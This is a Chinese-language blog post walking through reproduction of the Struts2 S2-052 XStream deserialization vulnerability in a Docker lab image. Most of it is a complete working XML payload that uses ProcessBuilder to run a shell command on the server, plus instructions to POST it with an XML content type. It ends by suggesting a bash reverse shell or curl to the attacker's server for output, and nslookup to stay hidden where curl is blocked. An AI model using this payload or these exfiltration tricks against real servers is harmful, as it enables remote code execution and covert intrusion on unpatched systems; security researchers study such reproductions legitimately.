kerling

热爱安全。php python 低级coder 。爱美食爱电影爱二次元。0.3阶狼人杀玩家

ST2-052 poc详细复现过程

环境部署

Ubuntu 14.25 +docker

先拉取镜像

 

$ docker pull medicean/vulapps:s_struts2_s2-052


然后启动

docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052

然后物理机访问成功


Poc复现

根据漏洞原理,仅需要POST相应xml数据即可不需要考虑特定的url 因此构造poc

 

Xml部分:

 

<map> 

<entry> 

<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/ramsm </string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 

</entry> 

</map>

 

随便抓了个包 


仅需要改为post提交方式以及更改 content-type报头为xml以及post数据内容改为payload


更改后如图之后选择发包。出现500错误。

这里的命令是touch 了一个ramsm的文件,这时候我们进入docker查看一下(因为环境是docker,所以生成的文件也在docker容器内而不再ubuntu) 先执行docker ps 查看docker的容器ID 然后执行

docker exec -it 容器ID /bin/bash  

之后进入bash这时候执行ls


如果需要回显这里提供两种办法 一种是简单暴力用bash反弹shell 第二种办法可以使用curl反弹执行结果到自己服务器 为了隐蔽其实推荐使用nslookup ip 因为大部分会禁用curl的方法


=============================================

最近太忙 poc晚点再写- -

评论

© kerling | Powered by LOFTER